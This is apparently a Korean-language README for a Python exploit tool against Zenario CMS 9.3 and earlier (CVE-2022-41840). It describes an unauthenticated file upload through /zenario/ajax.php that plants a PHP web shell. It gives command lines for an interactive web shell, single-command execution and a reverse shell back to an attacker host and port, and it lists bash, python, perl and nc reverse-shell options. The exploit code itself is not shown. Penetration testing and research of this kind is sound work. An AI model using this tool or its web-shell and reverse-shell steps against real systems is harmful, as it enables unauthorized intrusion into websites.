Zenario CMS 9.3 - 인증되지 않은 RCE 익스플로잇

CVE-2022-41840

Zenario CMS 버전 9.3 및 이전 버전에 영향을 미치는 인증되지 않은 원격 코드 실행(RCE) 취약점입니다. 이 익스플로잇은 AJAX 엔드포인트의 파일 업로드 취약점을 이용하여 PHP 웹쉘을 업로드하고 코드 실행을 달성합니다.

취약점 상세

• CVE: CVE-2022-41840
• 영향 받는 버전: Zenario CMS <= 9.3
• 취약점 유형: 인증되지 않은 파일 업로드로 인한 RCE
• 공격 벡터: /zenario/ajax.php로의 HTTP POST
• 필요한 권한: 없음 (인증 불필요)

사용법

대화형 웹쉘

python3 zenario_exploit.py --target http://target.com

단일 명령 실행

python3 zenario_exploit.py --target http://target.com --cmd "id"

리버스 셸

python3 zenario_exploit.py --target http://target.com --lhost 10.x.x.x --lport 4444

요구 사항

• Python 3.x
• requests 라이브러리

의존성 설치:

pip install requests

기능

• 취약한 AJAX 엔드포인트를 통한 자동 PHP 웹쉘 업로드
• 성공률 향상을 위한 여러 instanceId 값 지원
• JSON 및 정규식 기반 경로 추출
• 여러 리버스 셸 페이로드 옵션 (bash, python, perl, nc)
• 터미널 지원이 포함된 완전 대화형 PTY 셸
• 리버스 셸 실패 시 웹쉘 폴백

면책 조항

교육 및 승인된 보안 테스트 목적으로만 사용하십시오.

이 도구는 보안 연구원 및 침투 테스터가 소유하거나 명시적 테스트 권한이 있는 시스템을 테스트하기 위해 제공됩니다. 컴퓨터 시스템에 대한 무단 액세스는 불법이며 엄격히 금지됩니다.

유지 관리자는 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.

라이선스

이 코드는 교육 목적으로 제공됩니다.